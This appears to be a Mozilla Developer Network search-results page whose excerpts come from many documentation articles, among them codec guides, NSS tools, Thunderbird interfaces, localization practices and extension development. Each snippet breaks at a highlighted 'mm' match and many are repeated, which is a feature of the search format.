mmatic interfaces. 4 account interfaces code snippets, extension development, thunderbird this page contains a list of the interfaces that you'll will most likely use when writing extensions that work with email or other accounts. see account examples for examples and code snippets. 5 activity manager thunderbird 3, thunderbird the activity manager is a simp...
...he activity manager is a simple component that understands how to display a combination of user activity and history. the activity manager works in conjunction with the interactive status bar to give the user notifications concerning what thunderbird is doing and how thunderbird has handled user requests. 6 activity manager interfaces thunderbird this page describes the progra
mmatic interfaces behind the activity manager component. the functionality of the component is described on the activity manager page, and the activity manager examples page has code snippets. see nsiactivitymanager.idl and nsiactivity.idl files for source documentation. 7 address book interfaces mailnews, mozilla, seamonkey, thunderbird this page contains a list of the interfac...
...And 16 more matches
Web audio codec guide - Web media technologies
mpress audio, what their capabilities and use cases are, and offer guidance when choosing audio codecs to use for your content. additionally, webrtc implementations generally use a subset of these codecs for their encoding and decoding of media, and may support additional codecs as well, for optimal cross-platform support of video and audio conferencing, and to integrate better with legacy teleco
mmunication solutions. see codecs used by webrtc for details. for information about the fundamental concepts behind how digital audio works, see the article digital audio concepts. co
mmon codecs the list below denotes the codecs most co
mmonly used on the web and which containers (file types) support them. if all you need to know is which codecs are even possible to use, this is for you. of course...
...e original, uncompressed audio signal the output seems to be when heard by the human ear. because of the differences in how lossy codecs work compared to lossless ones, especially the fact that lossless ones have to be much more conservative with their compression, lossy codecs nearly always result in significantly smaller compressed audio than lossless codecs do. generally speaking, the most co
mmon reasons to choose lossless audio are because you require archival-quality storage, or because the audio samples will be remixed and recompressed, and you wish to avoid the amplification of artifacts in the audio due to recompression. for real-time streaming of audio, a lossy codec is usually required in order to ensure the flow of data can keep up with the audio playback rate regardless of netw...
...regardless of network performance. maximum number of channels the audio delivered to each speaker in a sound system is provided by one audio channel in a stream. monaural sound is a single channel. stereo sound is two. 5.1 surround sound has five audio channels, plus one low frequency enhancement (lfe) channel. lfe channels are specifically designed to store low-frequency audio data, and are co
mmonly used to provide audio data for subwoofers, for example. when you see the number of audio channels written in the form x.y (such as 2.1 or 5.1), the number after the decimal point, y, is the number of lfe channels. for example, mp3 supports one lfe channel, while aac supports up to 16. in addition to providing audio for specific speakers in a sound system, some codecs may allow audio channels...
...And 16 more matches
Web video codec guide - Web media technologies
f loss depends on the codec and how it's configured, but as a general rule, the more compression you achieve, the more loss of detail and fidelity will occur. some lossless codecs do exist, but they are typically used for archival and storage for local playback rather than for use on a network. this guide introduces the video codecs you're most likely to encounter or consider using on the web, su
mmaries of their capabilities and any compatibility and utility concerns, and advice to help you choose the right codec for your project's video. co
mmon codecs the following video codecs are those which are most co
mmonly used on the web. for each codec, the containers (file types) that can support them are also listed. each codec provides a link to a section below which offers additional details a...
... key frames (also known as intra-frames or i-frames) are placed into the video file. the key frames are full frames, which are used to repair any damage or artifact residue that's currently visible. aliasing aliasing is a general term for anything that upon being reconstructed from the encoded data does not look the same as it did before compression. there are many forms of aliasing; the most co
mmon ones you may see include: moiré patterns a unknown prefix: moiré pattern. is a large-scale spatial interference pattern produced when a pattern in the source image and the manner in which the encoder operates are slightly out of alignment spatially. the artifacts generated by the encoder then introduce strange, swirling effects in the source image's pattern upon decoding. ...
...rcase effect the staircase effect is a spatial artifact that occurs when diagonal straight or curved edges that should be smooth take on a jagged appearance, looking somewhat like a set of stair steps. this is the effect that is being reduced by "anti-aliasing" filters. wagon-wheel effect the wagon-wheel effect (or stroboscopic effect) is the visual effect that's co
mmonly seen in film, in which a turning wheel appears to rotate at the wrong speed, or even in reverse, due to an interaction between the frame rate and the compression algorithm. the same effect can occur with any repeating pattern that moves, such as the ties on a railway line, posts along the side of a road, and so forth. this is a temporal (time-based) aliasing issue; the speed of the rotation i...
...And 16 more matches
/loader - Archive of obsolete content
create co
mmonjs module loaders. usage the code is intentionally authored so that it can be loaded in several ways. it can be loaded as a regular script tag in documents that have system principals (note: this does not appear to work as of 02.2016 due to "use strict" being added to the file): <script type='application/javascript' src='resource://gre/modules/co
mmonjs/toolkit/loader.js'></script> this will expose a single loader object containing all of the api functions described in this document. ...
...due to "use strict" being added to the file): <script type='application/javascript' src='resource://gre/modules/co
mmonjs/toolkit/loader.js'></script> this will expose a single loader object containing all of the api functions described in this document. ...
...e='application/javascript' src='resource://gre/modules/co
mmonjs/toolkit/loader.js'></script> this will expose a single loader object containing all of the api functions described in this document. it can be loaded as a javascript code module: let { loader, require, unload } = components.utils.import('resource://gre/modules/co
mmonjs/toolkit/loader.js'); it can be required as a co
mmonjs module from a module loaded in the loader itself: let { loader, require, unload } = require('toolkit/loader'); what is it good for ? create somewhat standardized js environments that people doing non-browser js are familiar with. provide an environment for loading co
mmonjs style modules, which makes it possible to consume lots of interesting code that has already been developed. s...
...And 15 more matches
Introduction to client-side frameworks - Learn web development
lems they faced, and packaged them into reusable packages called libraries, so they could share their solutions with others. this shared ecosystem of libraries helped shape the growth of the web. now, javascript is an essential part of the web, used on 95% of all websites, and the web is an essential part of modern life. users write papers, manage their budgets, stream music, watch movies, and co
mmunicate with others over great distances instantaneously, with text, audio or video chat. the web allows us to do things that used to be possible only in native applications installed on our computers. these modern, complex, interactive websites are often referred to as web applications. the advent of modern javascript frameworks has made it much easier to build highly dynamic, interactive applic...
...here? there are many frameworks out there, but currently the "big four" are considered to be the following. ember ember was initially released in december 2011 as a continuation of work that started in the sproutcore project. it is an older framework that has less users than more modern alternatives such as react and vue, but it still enjoys a fair amount of popularity due to its stability, co
mmunity support, and some clever coding principles. start learning ember angular angular is an open-source web application framework led by the angular team at google and by a co
mmunity of individuals and corporations. it is a complete rewrite from the same team that built angularjs. angular was officially released on the 14th of september 2016. angular is a component-based framework which uses ...
...le, we will be working with that colloquial understanding. react extends javascript with html-like syntax, known as jsx. start learning react why do frameworks exist? we've discussed the environment that inspired the creation of frameworks, but not really why developers felt the need to make them. exploring the why requires first examining the challenges of software development. consider a co
mmon kind of application: a to-do list creator, which we'll look at implementing using a variety of frameworks in future chapters. this application should allow users to do things like render a list of tasks, add a new task, and delete a task; and it must do this while reliably tracking and updating the data underlying the application. in software development, this underlying data is known as state.
...And 15 more matches
Strategies for carrying out testing - Learn web development
previous overview: cross browser testing next this article starts the module off by providing an overview of the topic of (cross) browser testing, answering questions such as "what is cross-browser testing?", "what are the most co
mmon types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high level principles of cross-browser testing. objective: to gain an understanding of the high-level concepts involved in cross-browser testing. gotta test 'em all? when doing cross-browser testing, you need to work out a list of browsers you will need to test on to start with. there is no way you can test on...
... style doesn't work in a browser, the site will be able to downgrade to something less exciting that still provides an acceptable user experience — the core information is still accessible, for example, even if it doesn't look quite as nice. the aim is to build up a chart of browsers/devices you can refer to as you test. you can make this as simple or as complex as you like — for example a co
mmon approach is to have multiple grades of support level, something like: a grade: co
mmon/modern browsers — known to be capable. test thoroughly and provide full support. b grade: older/less capable browsers — known not to be capable. test, and provide a more basic experience that gives full access to core information and services. c grade: rare/unknown browsers — don't test, but assume ...
...for windows (last two versions of each), ios safari for iphone/ipad, android stock browser (last two versions) on phone/tablet, chrome and firefox for android (last two versions) on phone tablet b grade: ie 9 for windows c grade: n/a if you live somewhere else, or are working on a site that will serve somewhere else (e.g. certain countries, or locales), then you will probably have different co
mmon browsers to test. note: "the ceo of my company uses a blackberry, so we'd better make sure it looks good on that" can also be a persuasive argument. browser support stats one helpful measure you can call on to inform your browser testing choices is browser support stats. there are a number of sites that provide such stats, for example: netmarketshare statcounter these are both very n...
...And 15 more matches
nss tech note5
iv is relevant only when using cbc mode of encryption. if not using cbc mode, just pass a null iv parm to pk11_paramfromiv function secitem ivitem; ivitem.data = /* ptr to an array of iv bytes */ ivitem.len = /* length of the array of iv bytes */ secitem *secparam = pk11_paramfromiv(ciphermech, &ivitem);</...
...can use ckm_generic_secret_key_gen as the key gen mechanism. <big>prepare the parameter for crypto context. the param must be provided, but can be empty. secitem param; param.data = 0; param.len = 0;</big> <big>create crypto context</big> pk11context* digestcontext = pk11_createcontextbysymkey(digestmech, cka_digest, symkey, ...
...can use ckm_generic_secret_key_gen as the key gen mechanism. <big>prepare the parameter for crypto context. the param must be provided, but can be empty. secitem param; param.type = sibuffer; param.data = null; param.len = 0;</big> <big>create crypto context</big> pk11context* digestcontext = pk11_createcontextbysymkey(hmacmech, cka_sign, ...
...And 15 more matches
NSS tools : modutil
name modutil — manage pkcs #11 module information within the security module database. synopsis modutil [options] arguments description the security module database tool, modutil, is a co
mmand-line utility for managing pkcs #11 module information both within secmod.db files and within hardware tokens. modutil can add and delete pkcs #11 modules, change passwords on security databases, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations. this tool can also create certificate, key, and module security database files. the tasks associated with security module database management are part of a process that typically also involves manag...
...tive prompts so it can be run from a script. use this option only after manually testing each planned operation to check for warnings and to ensure that bypassing the prompts will cause no security lapses or loss of database integrity. -jar jar-file add a new pkcs #11 module to the database using the named jar file. use this co
mmand with the -installdir and -tempdir arguments. the jar file uses the nss pkcs #11 jar format to identify all the files to be installed, the module's name, the mechanism flags, and the cipher flags, as well as any files to be installed on the target machine, including the pkcs #11 module library file and other files such as documentation. thi...
...rt9.db, key4.db, and pkcs11.txt). if the prefix sql: is not used, then the tool assumes that the given databases are in the old format. --dbprefix prefix specify the prefix used on the database files, such as my_ for my_cert8.db. this option is provided as a special case. changing the names of the certificate and key databases is not reco
mmended. -installdir root-installation-directory specify the root installation directory relative to which files will be installed by the -jar option. this directory should be one below which it is appropriate to store dynamic library files, such as a server's root directory. -libfile library-file specify a path to a library file conta...
...And 15 more matches
Accessibility documentation index - Accessibility
this document provides a list of links to all accessibility articles on the mozilla developer network. found 105 pages: # page tags and su
mmary 1 accessibility accessibility, landing accessibility (often abbreviated to a11y—as in "a" then 11 characters then "y") in web development means enabling as many people as possible to use web sites, even when those people's abilities are limited in some way. ...
...se web sites, even when those people's abilities are limited in some way. 2 aria aria, accessibility, html accessible rich internet applications (aria) is a set of attributes that define ways to make web content and web applications (especially those developed with javascript) more accessible to people with disabilities. it supplements html so that interactions and widgets co
mmonly used in applications can be passed to assistive technologies 3 aria screen reader implementors guide aria, accessibility this is just a guide. live region markup is a complex area which is somewhat open to interpretation. the following is intended to provide implementation guidance that respects screen readers developers' need to try different things. the intention is to ...
...ibility for each example we test the "expected" results with assistive technologies, for each browser that at supports wai-aria in. where a failure occurs we will test the browser for api incorrectness, using tools such as msaa inspect. this must be done in order to determine where to file a bug (browser or at). ...
...And 15 more matches
<details>: The Details disclosure element - HTML: Hypertext Markup Language
the html details element (<details>) creates a disclosure widget in which information is visible only when the widget is toggled into an "open" state. a su
mmary or label can be provided using the <su
mmary> element. a disclosure widget is typically presented onscreen using a small triangle which rotates (or twists) to indicate open/closed status, with a label next to the triangle. if the first child of the <details> element is a <su
mmary>, the contents of the <su
mmary> element are used as the label for the disclosure widget. the source for this interactive example is stored in a github repository. ...
...e triangle. if the first child of the <details> element is a <su
mmary>, the contents of the <su
mmary> element are used as the label for the disclosure widget. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. note: the co
mmon use of a triangle which rotates or twists around to represent opening or closing the widget is why these are sometimes called "twisties." a <details> widget can be in one of two states. the default closed state displays only the triangle and the label inside <su
mmary> (or a user agent-defined default string if no <su
mmary>). this might look like the following: here we see a standard disclo...
...when open, it expands to display the details contained within. note: unfortunately, at this time there's no built-in way to animate the transition between open and closed. ...
...And 15 more matches
Appendix: What you should know about open-source software licenses - Archive of obsolete content
any discussion of open-source software deserves an explanation of licensing-related issues. in this chapter, i’ll explain some of the basics: what open-source software (oss) licenses are, what types of licenses exist, and when they’re appropriate. ...
...netbsd, openbsd mpl firefox, thunderbird (also triple-licensed mpl/lgpl/gpl) gpl linux kernel, gimp lgpl gtk+, openoffice.org modified bsd license this license permits free duplication, distribution, and modification provided that a copyright statement and liability disclaimer are included. modifications to bsd-licensed software can be published under co
mmercial licenses or other different licenses. this is often just called the bsd license. the mit/x11 license is similar in substance. license terms this license has the following simple terms. it’s short, so read it carefully. <program name> copyright (c) <year>, <copyright holder> all rights reserved. 1. redistribution and use in source and binary forms, with or without modification, a...
...advertising for software using an modification of this source code must display the name of the original developer.” this clause has been removed. the modified bsd license is the version that does not include the advertising clause. mozilla public license (mpl) this is an oss license created by netscape and the mozilla organization. netscape created it for its open-source web browser. the co
mmon public license (cpl) and eclipse public license (epl) are similar in substance. because the cpl is written in such a way that it does not mention any software or company by name, you can use the cpl if you plan to use this kind of licensing. license characteristics if you modify source code that was published under this license, you are obliged to release it under the same license. however, i...
...And 14 more matches
Menus - Archive of obsolete content
xul provides a number of tags for creating menus. these tags can be used to create menus which sit on a menubar or are attached to buttons. submenus may be created by nesting one menu inside of another. ...
... xul provides a number of tags for creating menus. these tags can be used to create menus which sit on a menubar or are attached to buttons. submenus may be created by nesting one menu inside of another. ...
... xul provides a number of tags for creating menus. these tags can be used to create menus which sit on a menubar or are attached to buttons. submenus may be created by nesting one menu inside of another. ...
...And 14 more matches
Textbox (XPFE autocomplete) - Archive of obsolete content
utocompletesearchparam, autofill, autofillaftermatch, autofill, completedefaultindex, crop, disableautocomplete, disableautocomplete, disabled, disablehistory, enablehistory, focused, forcecomplete, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, ignoreblurwhilesearching, inputtooltiptext, label, maxlength, maxrows, minresultsforpopup, minresultsforpopup, nomatch, onchange, onerrorco
mmand, oninput, onsearchcomplete, ontextco
mmand, ontextentered, ontextrevert, ontextreverted, open, readonly, searchsessions, showco
mmentcolumn, showco
mmentcolumn, showpopup, size, tabindex, tabscrolling, tabscrolling, timeout, type, useraction, value properties accessible, alwaysopenpopup, autofill, autofillaftermatch, completedefaultindex, crop, disableautocomplete, disabled, edita...
...npopup, autofill, autofillaftermatch, completedefaultindex, crop, disableautocomplete, disabled, editable, focused, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, inputfield, issearching, iswaiting, label, maxlength, maxrows, minresultsforpopup, nomatch, open, popup, popupopen, resultspopup, searchcount, searchparam, searchsessions, selectionend, selectionstart, sessioncount, showco
mmentcolumn, showpopup, size, tabindex, tabscrolling, textlength, textvalue, timeout, type, useraction, value methods addsession, clearresults, getdefaultsession, getresultat, getresultcount, getresultvalueat, getsession, getsessionbyname, getsessionresultat, getsessionstatusat, getsessionvalueat, removesession, select, setselectionrange, syncsessions examples (example needed) attri...
...l be disabled. you might use a script to change this attribute. if false, the default, autocomplete is enabled. disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to ...
...And 14 more matches
Localization content best practices
this document provides best practices for developers to create localizable code, and describes how to avoid some localizability (l12y) co
mmon mistakes. note: if you're a localizer and you want to contribute to the localization of mozilla products, you might want to read our localization quick start guide for information on localizing mozilla code. note on localizers mozilla localizers are volunteers with very diverse technical skills: some of them rely exclusively on translation tools, others prefer to work directly with text editors and don't have problems working with vcs systems. it's important to consider this when adding strings, and especially localization co
mments for strings that contain references, or obscure technical details. localization files choose good key i...
...skey = a neweventbtn.tooltip = add a new event don't duplicate ids if you're adding new strings, check that you're not duplicating an existing id. depending on the parser logic, one of these two translations will be ignored. add localization notes localizers usually work on the localizable files without the context of the source files including the localized strings; it is important to add co
mments to the localizable files themselves, too. these co
mments are generally referred to as localization notes. don't forget to add a localization note when: part of the string is not supposed to be localized (for example, the name of an html attribute in a warning). string includes variables: always explain what will be the value of these variables at run-time. english could be ambiguous. fo...
...lish could be ambiguous. for example: bookmark. is this a noun or a verb? using meaningful ids could also help in these cases. strings are used in a specific context. for example accessibility (a11y) strings: in this case space is less important than clarity, since these strings are not displayed in the ui but used by tools like screen readers. there is an established format for localization co
mments: it's important to follow the format as closely as possible, since there are a number of automated tools that parse these co
mments for easier access and use by localizers. dtd files <!-- localization note (entity name): {{privacy}} will be replaced at run-time by an active link. the string 'privacy-link' will be used as text for this link. --> properties files # localization note(pr...
...And 14 more matches
Creating localizable web applications
cheatsheet don't hardcode english text, formats (numbers, dates, addresses, etc.), word order or sentence structure. don't put text or numbers in images. ...
... cheatsheet don't hardcode english text, formats (numbers, dates, addresses, etc.), word order or sentence structure. don't put text or numbers in images. don't forget about right-to-left locales. ...
...ddresses, etc.), word order or sentence structure. don't put text or numbers in images. don't forget about right-to-left locales. take advantage of printf() (or equivalents) and use variables in the english strings. write semantic code (e.g. don't use text and <img/> for decorations; instead, use css). document your code so that localizers know what they're translating (e.g. in gettext use co
mments and contexts). app logic detect the locale correctly be smart about detecting the user's locale correctly. you can use one or more of the following techniques: http accept-language headers, the ua string, ip geolocation. see examples of the addons.mozillaorg code at /addons/trunk/site/app/config/language.php and /addons/trunk/site/app/config/language.inc.php. the language_config cl...
...And 14 more matches
NSS tools : modutil
name modutil - manage pkcs #11 module information within the security module database. synopsis modutil [options] [[arguments]] status this documentation is still work in progress. please contribute to the initial review in mozilla nss bug 836477[1] description the security module database tool, modutil, is a co
mmand-line utility for managing pkcs #11 module information both within secmod.db files and within hardware tokens. modutil can add and delete pkcs #11 modules, change passwords on security databases, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations. this tool can also create certificate, key, and module security database files. the tasks associated wi...
... for the default nss module. -force disable modutil's interactive prompts so it can be run from a script. use this option only after manually testing each planned operation to check for warnings and to ensure that bypassing the prompts will cause no security lapses or loss of database integrity. -jar jar-file add a new pkcs #11 module to the database using the named jar file. use this co
mmand with the -installdir and -tempdir arguments. the jar file uses the nss pkcs #11 jar format to identify all the files to be installed, the module's name, the mechanism flags, and the cipher flags, as well as any files to be installed on the target machine, including the pkcs #11 module library file and other files such as documentation. this is covered in the jar installation file section...
... key3.db, and secmod.db) and new sqlite databases (cert9.db, key4.db, and pkcs11.txt). if the prefix sql: is not used, then the tool assumes that the given databases are in the old format. --dbprefix prefix specify the prefix used on the database files, such as my_ for my_cert8.db. this option is provided as a special case. changing the names of the certificate and key databases is not reco
mmended. -installdir root-installation-directory specify the root installation directory relative to which files will be installed by the -jar option. this directory should be one below which it is appropriate to store dynamic library files, such as a server's root directory. -libfile library-file specify a path to a library file containing the implementation of the pkcs #11 interface module...
...And 14 more matches
Mozilla
ests, they won't work in a build with tests disabled (--disable-tests). browser security an important aspect of developing code for any browser, including firefox, as well as any web-oriented project, is its security. these articles provide important guides and references to ensuring the code you write is secure, including both design reco
mmendations and testing guidelines. bugzilla bugzilla.mozilla.org (often abbreviated b.m.o) is mozilla.org's bug-tracking system, a database for recording bugs and enhancement requests for firefox, thunderbird, seamonkey, camino, and other mozilla.org projects. building mozilla in this article, we list docum...
...d tries to sort out which should be used under what circumstances. chrome registration chrome is the set of user interface elements of the application window that are outside the window's content area. toolbars, menu bars, progress bars, and window title bars are all examples of elements that are typically part of the chrome. ...
...r what circumstances. chrome registration chrome is the set of user interface elements of the application window that are outside the window's content area. toolbars, menu bars, progress bars, and window title bars are all examples of elements that are typically part of the chrome. ...
...And 14 more matches
jpm - Archive of obsolete content
installing npm there are two ways to get npm. download and install node.js from nodejs.org. node.js includes npm. or, if you have a package manager like apt, install npm via that. ...
... installing npm there are two ways to get npm. download and install node.js from nodejs.org. node.js includes npm. or, if you have a package manager like apt, install npm via that. ...
... install a different version of firefox as of firefox 48, it is not possible to use unsigned add-ons (i.e. any add-on which you are in the process of developing) in the branded release ...
...And 13 more matches
Setting Up a Development Environment - Archive of obsolete content
ntrol system, and a build system. in regards to code editing, there's no official mozilla ide. on the other hand, extensions use the same (or similar) languages that are used for web development, so most text editors and ides are up to the task. most xul tools and plugins you'll find online are merely templates that generate the folder structure for the project, and that's not much help. we reco
mmend komodo edit. it's free, open source, and cross-platform. it's based on the mozilla xulrunner platform, so it has support for some of the particularities in firefox extension development. komodo edit has automatic completion for xul tags and attributes, and it supports mozilla's css extensions (css values and properties beginning with "-moz"). it has an add-on system similar to the one in firef...
...x extension development. komodo edit has automatic completion for xul tags and attributes, and it supports mozilla's css extensions (css values and properties beginning with "-moz"). it has an add-on system similar to the one in firefox, and there are some komodo extensions that provide additional help in extension development. that is more than what you can get with most other editors, so we reco
mmend you to give it a try. all of our examples are handled with komodo edit, so if you see a .kpf or .komodoproject file in an example you download, this is a komodo project file. we reco
mmend git and github for source control, but any decent software configuration management system will do. to package xpi files, we use make. we chose make because this is the same system used by mozilla to buil...
...make is a default tool in most unix-based systems. it can be installed on mac os x as part of the xcode tools package, and on windows with cygwin. in cygwin installations you'll have to explicitly check the make and zip utilities from the long list of packages to download and install. also make sure that make is in the executable system path. after setting up make, you should be able to open a co
mmand line window, run "make -ver", and get the installed version of make as output. we reco
mmend you set up make in your system, since our examples come with all the necessary files to build and install the resulting xpi using this tool. it will save you some packaging time. or you can create an equivalent system using batch, ant or whatever you prefer. ultimately you can just compress the content...
...And 13 more matches
The Essentials of an Extension - Archive of obsolete content
ish your extension from other extensions, so it is required that you have an id that is unique. there are two accepted standards for add-on ids. one is the email-like format in the hello world example, which should be something like <project-name>@<yourdomain>. the other standard practice is to use a generated uuid string, which is extremely unlikely to be duplicated. unix-based systems have a co
mmand line tool called uuidgen that generates uuids. there are also downloadable tools for all platforms that generate them. the enclosing brackets are just notation, and they're just co
mmon practice. as long as your id has some uniqueness to it, it's ok to use either form. <em:name>xul school hello world</em:name> <em:description>welcome to xul school!</em:description> <em:version>0.1</em:versio...
... match, you won't be allowed to install the extension, or the extension will be installed in a disabled state. users can disable version checks through preferences or installing add-ons like the add-on compatibility reporter. beginning with firefox 11, add-ons will default to compatible and firefox will mostly ignore the version range. testing your add-ons with every firefox version is always reco
mmended, though. this is the information firefox and other mozilla applications need to install an add-on. any errors or missing information will cause the installation process to fail, or the extension to be installed in a disabled state. the chrome.manifest file chrome is the set of user interface elements of the application window that are outside of a window's content area. toolbars, menu ba...
... spaces. the first word in a line tells firefox what it is that is being declared (content, skin, locale, or others mentioned later on). the second is the package name, which we will explain shortly. skin and locale packages have a third value to specify what locale or what skin they are extending. there can be multiple skin and locale entries relating to different skins and locales. the most co
mmon case is having one skin entry for the global skin, classic/1.0, and multiple locale entries, one for each translation. finally, the location is specified. there are some additional options that can be included in the entries of a chrome.manifest file. they are documented in the chrome registration page. notably, we can have entries that are os-specific. this is important because the appearance...
...And 13 more matches
Mozilla release FAQ - Archive of obsolete content
ent of this article may be out of date. it was last updated in 2005. this document may be distributed and modified freely. no guarantee of factuality in this faq is made, and it is maintained by pat gunn, who is not affiliated with netscape. various other people have contributed to this faq. general questions about the mozilla project what is mozilla? mozilla is a project to continue netscape co
mmunicator as an open project. the project is maintained by employees of netscape (now a division of aol), red hat, some other companies, as well as contributors from the co
mmunity. on what is mozilla based? the mozilla project started near the end of life of the 4.x line of netscape co
mmunicator. originally, the plan was just to re-stabilize the code and release 5.0, but it was decided within the c...
...nicator as an open project. the project is maintained by employees of netscape (now a division of aol), red hat, some other companies, as well as contributors from the co
mmunity. on what is mozilla based? the mozilla project started near the end of life of the 4.x line of netscape co
mmunicator. originally, the plan was just to re-stabilize the code and release 5.0, but it was decided within the co
mmunity that the more ambitious changes that were planned for later integration were close to being ready. the old layout engine, networking engine, and several of the older modules were gutted, and much later, the sources reached the point where netscape was comfortable making a release, and so netscape 6.0 was released. netscape 6.0 and above are based off of the mozilla source. mozilla 1.0 (mozil...
...elease, it takes the current version of mozilla, makes modifications, and does its own qa. in return for this, netscape (aol) contributes developers to work on the project. the netscape versions may have a different look/feel than mozilla versions, and also may add proprietary features. the netscape versions are all branded as netscape (aol) products. what resources are available to the mozilla co
mmunity? webpages mozilla project homepage netscape developer program website mozillazine (news service) mozilla evangelism effort mozdev projects irc server: irc.mozilla.org channel #mozillazine note that recent versions of mozilla include an irc client. other irc clients can be found at irchelp.org. usenet all newsgroups in the netscape.public.mozilla.* hierarchy. if your ne...
...And 13 more matches
Adobe Flash - Archive of obsolete content
is out of date. scriptability refers to the ability of plugins to interact with javascript. in particular, the macromedia® flash™ plugin exposes certain plugin functionality for access via javascript. it can also access javascript methods from within the plugin. this article explains how javascript can be used to access methods from within the flash plugin, as well as how a feature called fsco
mmands can be used to access javascript functions from within the flash animation. the focus of this article is to present tips on scripting flash within gecko™-based web browsers. detecting the right flash plugin (and browser) adobe flash has exposed the scriptability feature in netscape gecko browsers since flash 6r49 and later. versions of flash prior to flash 6r49 (such as flash 5) are not s...
... be removed from firefox entirely. most of its functions can be reproduced using modern web apis. using the right html the object element or the embed element can be used to invoke plugins in netscape gecko browsers. the former is part of the w3c html 4 standard, whereas the latter is a deprecated element, as discussed in using the right markup to invoke plugins. ...
...ement can be used to invoke plugins in netscape gecko browsers. the former is part of the w3c html 4 standard, whereas the latter is a deprecated element, as discussed in using the right markup to invoke plugins. however, if you wish to use fsco
mmands with the flash plugin to call javascript functions in an html page, then you must use the embed element, as discussed further in the section on fsco
mmands. ...
...And 13 more matches
Encryption and Decryption - Archive of obsolete content
idely known, but on a number called a key that must be used with the algorithm to produce an encrypted result or to decrypt previously encrypted information. decryption with the correct key is simple. decryption without the correct key is very difficult, and in some cases impossible for all practical purposes. the sections that follow introduce the use of keys for encryption and decryption. ...
...uce an encrypted result or to decrypt previously encrypted information. decryption with the correct key is simple. decryption without the correct key is very difficult, and in some cases impossible for all practical purposes. the sections that follow introduce the use of keys for encryption and decryption. ...
...ecrypt previously encrypted information. decryption with the correct key is simple. decryption without the correct key is very difficult, and in some cases impossible for all practical purposes. the sections that follow introduce the use of keys for encryption and decryption. sy
mmetric-key encryption public-key encryption key length and encryption strength sy
mmetric-key encryption with sy
mmetric-key encryption, the encryption key can be calculated from the decryption key and vice versa. ...
...And 13 more matches
Deployment and next steps - Learn web development
javascript frameworks in the previous article we learning about svelte's typescript support, and how to use it to make your application more robust. in this final article we will look at how to deploy your application and get it online, and also share some of the resources that you should go on to, to continue your svelte learning journey. prerequisites: at minimum, it is reco
mmended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/co
mmand line. you'll need a terminal with node + npm installed to compile and build your app. objective: learn how to prepare our svelte app for production, and what learning resources you should visit next. note that our application is fully functional and ...
...encies to download, parse, execute, and keep running in memory. svelte analyzed our components and compiled the code to vanilla javascript. a look behind the svelte compilation process by default, when you create a new app with npx degit sveltejs/template my-svelte-project, svelte will use rollup as the module bundler. note: there is also an official template for using webpack and also many co
mmunity-maintained plugins for other bundlers. in the file package.json you can see that the dev and start scripts are just calling rollup: "scripts": { "build": "rollup -c", "dev": "rollup -c -w", "start": "sirv public" }, in the dev script we are passing the -w argument, which tells rollup to watch files and rebuild on changes. if we have a look at the rollup.config.js file, we can see ...
... of options to choose from. let's look at a couple of examples. note: the following section could be applied to any client-side static web site requiring a build step, not just svelte apps. deploying with vercel one of the easiest ways to deploy a svelte application is using vercel. vercel is a cloud platform specifically tailored for static sites, which has out-of-the-box support for most co
mmon front-end tools, svelte being one of them. to deploy our app, follow these steps. register for an account with vercel. navigate to the root of your app and run npx vercel; the first time you do it, you'll be prompted to enter your email address, and follow the steps in the email sent to that address, for security purposes. run npx vercel again, and you'll be prompted to answe...
...And 13 more matches
Old Thunderbird build
while you can build thunderbird on older hardware it can take quite a bit of time to compile on slower machines with less ram. good internet connection for the initial source download. ...
...ld prerequisites mac os x build prerequisites get the source note: on windows, you won't be able to build the thunderbird source code if it's under a directory with spaces in the path (e.g., don't use "documents and settings"). you can pick any other location, such as a new directory c:/thunderbird-src (where "c:/", with a forward slash, is intentional to clarify you are in the mozillabuild co
mmand prompt per windows build prerequisite). note: parts of the build process also have problems when the source code is in a directory where the path is long (nested many levels deep). on linux, this can manifest as problems setting up the virtualenv for running tests (failure to install pip or virtualenv because of os access denied errors, where access is denied not because of permission problem...
...ssion problems, but because the paths being accessed have been truncated, and so do not exist). having the source deep in a filesystem hierarchy can also cause problems with pymake builds on windows. if you run into seemingly arbitrary problems in building and the source is deeply nested, try moving it close to the root of your machine and re-building. ...
...And 13 more matches
How to implement a custom autocomplete search component
se you might have problems if your component gets installed along another component derived from those same examples. that can happen! so, get a uuid from http://www.famkruithof.net/uuid/uuidgen, for example, and paste it in. basic example for gecko 2.0 and up (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this example is your first best try because: it has no specific logic (it just returns a du
mmy array of choices) it doesn't care about compatibility with older gecko versions first copy the following javascript code into a file named basic_autocomplete.js into the components directory (or whatever components folder is appropriate in your case): warning: the uuid used below in chrome.manifest and assigned to class_id must be changed before use. const ci = components.interfaces; con...
...nge this const class_name = "basic autocomplete"; const contract_id = '@mozilla.org/autocomplete/search;1?name=basic-autocomplete'; /** * @constructor * * @implements {nsiautocompleteresult} * * @param {string} searchstring * @param {number} searchresult * @param {number} defaultindex * @param {string} errordescription * @param {array.<string>} results * @param {array.<string>|null=} co
mments */ function providerautocompleteresult(searchstring, searchresult, defaultindex, errordescription, results, co
mments) { this._searchstring = searchstring; this._searchresult = searchresult; this._defaultindex = defaultindex; this._errordescription = errordescription; this._results = results; this._co
mments = co
mments; } providerautocompleteresult.prototype = { _searchstring:...
...rordescription, results, co
mments) { this._searchstring = searchstring; this._searchresult = searchresult; this._defaultindex = defaultindex; this._errordescription = errordescription; this._results = results; this._co
mments = co
mments; } providerautocompleteresult.prototype = { _searchstring: "", _searchresult: 0, _defaultindex: 0, _errordescription: "", _results: [], _co
